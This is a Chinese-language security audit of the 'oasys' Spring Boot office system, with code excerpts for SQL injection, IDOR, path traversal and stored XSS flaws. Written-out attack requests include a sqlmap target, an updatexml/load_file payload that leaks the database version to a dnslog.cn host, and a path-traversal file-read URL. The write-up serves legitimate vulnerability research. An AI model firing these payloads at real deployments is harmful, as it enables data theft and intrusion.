前言
介绍
oasys是一个OA办公自动化系统,使用Maven进行项目管理。基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架。
环境搭建
环境搭建:下载源码后,直接使用IDEA打开,因为项目使用springboot搭建,所以无需手动配置服务器。
启动本地Mysql,在 src/main/resources/application.properties中修改Mysql账号密码。创建并导入数据库
create database oasys;
use java_sec_code;
source \oasys\oasys.sql;
账号密码
账号:soli 密码:123456
漏洞审计
SQL注入1
查看pom文件得知项目使用了mybatis作为持久层框架,所以在项目中查找下是否使用了“${”进行SQL语句拼接。
在mappers/notice-mapper.xml文件中存在一处拼接
<select id="sortMyNotice" resultType="java.util.Map">
SELECT n.*,u.* FROM
aoa_notice_list AS n LEFT JOIN aoa_notice_user_relation AS u ON
n.notice_id=u.relatin_notice_id WHERE u.relatin_user_id=#{userId}
<if test="baseKey !=null">
and n.title LIKE '%${baseKey}%'
</if>
再查找下java代码中哪个控制器调用了这个映射语句,只在文件InformController.java中找到一次调用。
@RequestMapping("informlistpaging")
public String informListPaging(@RequestParam(value = "pageNum", defaultValue = "1") int page,
@RequestParam(value = "baseKey", required = false) String baseKey,
@RequestParam(value="type",required=false) Integer type,
@RequestParam(value="status",required=false) Integer status,
@RequestParam(value="time",required=false) Integer time,
@RequestParam(value="icon",required=false) String icon,
@SessionAttribute("userId") Long userId,
Model model,HttpServletRequest req){
System.out.println("baseKey:"+baseKey);
System.out.println("page:"+page);
setSomething(baseKey, type, status, time, icon, model);
PageHelper.startPage(page, 10);
List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);
PageInfo<Map<String, Object>> pageinfo=new PageInfo<Map<String, Object>>(list);
List<Map<String, Object>> list2=informRelationService.setList(list);
for (Map<String, Object> map : list2) {
System.out.println(map);
}
由方法名称及文件注释,可以知道这个对应的是通知列表处的功能。
抓包发现,通知管理对应的请求是“GET /infrommanage”,通知列表对应的请求是“GET /infromlist”,且该功能内也没有按钮对应“/informlistpaging”请求。在项目内搜索“/infromlist”和“/informlistpaging”可以对比发现:“/infromlist”在前端中有对应的请求语句,而“/informlistpaging”没有。
不过“/infrommanage”在源码中也没有搜索到。所以应当在浏览器前端进行全局搜索更准确些,因为前端中“/infrommanage”、”/infromlist”均能搜索到,而“/informlistpaging”不能搜索到。
既然前端没有按钮对应“/informlistpaging”请求,那就自己构造下。这个方法有多个参数,但大部分@RequestParam注解中属性required值为false,也就是不是必须的。而且参数pageNum设置了默认值。我们在请求包只需添加baseKey这一个参数就可以。
构造请求包如下,这里请求方式GET或POST都行。
POST /informlistpaging HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8088/infromlist
Cookie: JSESSIONID=65C04C615FB30CE7221A5612711E8025
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
baseKey=*
直接放sqlmap
也有师傅用DNS回显来判断,但我这里没有复现成功。
POST /informlistpaging HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8088/infromlist
Cookie: JSESSIONID=65C04C615FB30CE7221A5612711E8025
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
baseKey=1'+and+updatexml(1,concat(1,load_file(concat('\\\\',(select+version()),'.hc0wgr.dnslog.cn\\abc'))),3)+and+'1'='1
SQL注入2
在mappers/address-mapper.xml文件中也存在“${”拼接
<select id="allDirector" resultType="java.util.Map">
SELECT d.*,u.*
FROM aoa_director_users AS u LEFT JOIN aoa_director AS d ON
d.director_id = u.director_id
WHERE u.user_id=#{userId} AND u.director_id is NOT null AND u.is_handle=1
<if test="pinyin !='ALL'">
AND d.pinyin LIKE '${pinyin}%'
</if>
调用点在文件AddrController.java,是外部通讯录功能。
@RequestMapping("outaddresspaging")
public String outAddress(@RequestParam(value="pageNum",defaultValue="1") int page,Model model,
@RequestParam(value="baseKey",required=false) String baseKey,
@RequestParam(value="outtype",required=false) String outtype,
@RequestParam(value="alph",defaultValue="ALL") String alph,
@SessionAttribute("userId") Long userId
){
PageHelper.startPage(page, 10);
List<Map<String, Object>> directors=am.allDirector(userId, alph, outtype, baseKey);
List<Map<String, Object>> adds=addressService.fengzhaung(directors);
PageInfo<Map<String, Object>> pageinfo=new PageInfo<>(directors);
if(!StringUtils.isEmpty(outtype)){
model.addAttribute("outtype", outtype);
}
Pageable pa=new PageRequest(0, 10);
Page<User> userspage=uDao.findAll(pa);
List<User> users=userspage.getContent();
model.addAttribute("modalurl", "modalpaging");
model.addAttribute("modalpage", userspage);
model.addAttribute("users", users);
model.addAttribute("userId", userId);
model.addAttribute("baseKey", baseKey);
model.addAttribute("directors", adds);
model.addAttribute("page", pageinfo);
model.addAttribute("url", "outaddresspaging");
return "address/outaddrss";
}
相同方式构造请求包
POST /outaddresspaging HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8088/infromlist
Cookie: JSESSIONID=65C04C615FB30CE7221A5612711E8025
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
alph=*
越权漏洞
点击流程管理—我的申请—查看
抓包,猜测id字段为身份标识
查看源码,并未进行防止越权处理
@RequestMapping("particular")
public String particular(@SessionAttribute("userId") Long userId,Model model,HttpServletRequest req){
User user=udao.findOne(userId);//审核人或者申请人
User audit=null;//最终审核人
String id=req.getParameter("id");
Long proid=Long.parseLong(id);
String typename=req.getParameter("typename");//类型名称
String name=null;
Map<String, Object> map=new HashMap<>();
ProcessList process=prodao.findOne(proid);//查看该条申请
Boolean flag=process.getUserId().getUserId().equals(userId);//判断是申请人还是审核人
if(!flag){
name="审核";
}else{
name="申请";
}
map=proservice.index3(name,user,typename,process);
if(("费用报销").equals(typename)){
Bursement bu=budao.findByProId(process);
User prove=udao.findOne(bu.getUsermoney().getUserId());//证明人
if(!Objects.isNull(bu.getOperation())){
audit=udao.findOne(bu.getOperation().getUserId());//最终审核人
}
List<DetailsBurse> detaillist=dedao.findByBurs(bu);
String type=tydao.findname(bu.getTypeId());
String money=ProcessService.numbertocn(bu.getAllMoney());
model.addAttribute("prove", prove);
model.addAttribute("audit", audit);
model.addAttribute("type", type);
model.addAttribute("bu", bu);
model.addAttribute("money", money);
model.addAttribute("detaillist", detaillist);
model.addAttribute("map", map);
return "process/serch";
}else if(("出差费用").equals(typename)){
Double staymoney=0.0;
Double tramoney=0.0;
EvectionMoney emoney=emdao.findByProId(process);
String money=ProcessService.numbertocn(emoney.getMoney());
List<Stay> staylist=sadao.findByEvemoney(emoney);
for (Stay stay : staylist) {
staymoney += stay.getStayMoney();
}
List<Traffic> tralist=tdao.findByEvection(emoney);
for (Traffic traffic : tralist) {
tramoney+=traffic.getTrafficMoney();
}
model.addAttribute("staymoney", staymoney);
model.addAttribute("tramoney", tramoney);
model.addAttribute("allmoney", money);
model.addAttribute("emoney", emoney);
model.addAttribute("staylist", staylist);
model.addAttribute("tralist", tralist);
model.addAttribute("map", map);
return "process/evemonserch";
}else if(("出差申请").equals(typename)){
Evection eve=edao.findByProId(process);
model.addAttribute("eve", eve);
model.addAttribute("map", map);
return "process/eveserach";
}else if(("加班申请").equals(typename)){
Overtime eve=odao.findByProId(process);
String type=tydao.findname(eve.getTypeId());
model.addAttribute("eve", eve);
model.addAttribute("map", map);
model.addAttribute("type", type);
return "process/overserch";
}else if(("请假申请").equals(typename)){
Holiday eve=hdao.findByProId(process);
String type=tydao.findname(eve.getTypeId());
model.addAttribute("eve", eve);
model.addAttribute("map", map);
model.addAttribute("type", type);
return "process/holiserch";
}else if(("转正申请").equals(typename)){
Regular eve=rgdao.findByProId(process);
model.addAttribute("eve", eve);
model.addAttribute("map", map);
return "process/reguserch";
}else if(("离职申请").equals(typename)){
Resign eve=rsdao.findByProId(process);
model.addAttribute("eve", eve);
model.addAttribute("map", map);
return "process/resserch";
}
return "process/serch";
}
对id字段进行爆破,证明存在越权漏洞。
任意文件读取
查找“getRequestURI”函数,发现在以下两个文件中存在
cn/gson/oasys/controller/user/UserpanelController.java
cn/gson/oasys/controller/process/ProcedureController.java
对比下代码实现逻辑是一样的。以UserpanelController.java#image()为例
@RequestMapping("image/**")
public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
throws Exception {
String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath();
System.out.println(projectPath);
String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));
String path = startpath.replace("/image", "");
File f = new File(rootpath, path);
ServletOutputStream sos = response.getOutputStream();
FileInputStream input = new FileInputStream(f.getPath());
byte[] data = new byte[(int) f.length()];
IOUtils.readFully(input, data);
// 将文件流输出到浏览器
IOUtils.write(data, sos);
input.close();
sos.close();
}
代码先通过getRequestURI()方法获取相对路径,与rootPath拼接后创建File类的实例。并未对路径穿越字符进行过滤处理。
查看下rootPath
在D盘下实际并没有oasys这个文件夹。我创建了一个D:/test/password.txt文件用于演示。
Payload如下,这里可以多加几个“//image..”
http://127.0.0.1:8088/image//image..//image..//image..//image..//test/password.txt
访问静态资源路径,只有static目录下可以访问。
XSS
在用户管理—部门管理处和用户管理—用户管理处可以新增部门、用户,直接在输入框中输入payload会前端报错
抓包后换成payload
刷新后弹窗从1到5,证明这几个字段均未进行XSS过滤,存在注入点。
查看代码,未进行处理,直接使用deptdao.save()将dept保存
@RequestMapping(value = "deptedit" ,method = RequestMethod.POST)
public String adddept(@Valid Dept dept,@RequestParam("xg") String xg,BindingResult br,Model model){
System.out.println(br.hasErrors());
System.out.println(br.getFieldError());
if(!br.hasErrors()){
System.out.println("没有错误");
Dept adddept = deptdao.save(dept);
if("add".equals(xg)){
System.out.println("新增拉");
Position jinli = new Position();
jinli.setDeptid(adddept.getDeptId());
jinli.setName("经理");
Position wenyuan = new Position();
wenyuan.setDeptid(adddept.getDeptId());
wenyuan.setName("文员");
pdao.save(jinli);
pdao.save(wenyuan);
}
if(adddept!=null){
System.out.println("插入成功");
model.addAttribute("success",1);
return "/deptmanage";
}
}
System.out.println("有错误");
model.addAttribute("errormess","错误!~");
return "user/deptedit";
}
dept定义
public class Dept {
@Id
@Column(name = "dept_id")
@GeneratedValue(strategy=GenerationType.IDENTITY)
private Long deptId; //部门id
@Column(name = "dept_name")
@NotEmpty(message="部门名称不为空")
private String deptName; //部门名字 非空 唯一
@Column(name = "dept_tel")
private String deptTel; //部门电话
@Column(name = "dept_fax")
private String deptFax; //部门传真
private String email; //部门email
@Column(name = "dept_addr")
private String deptAddr; //部门地址
private Long deptmanager;
// @Column(name = "start_time")
// private Date startTime; //部门上班时间
// @Column(name = "end_time")
// private Date endTime; //部门下班时间
deptdao.save()依赖org.springframework.data.jpa包中的方法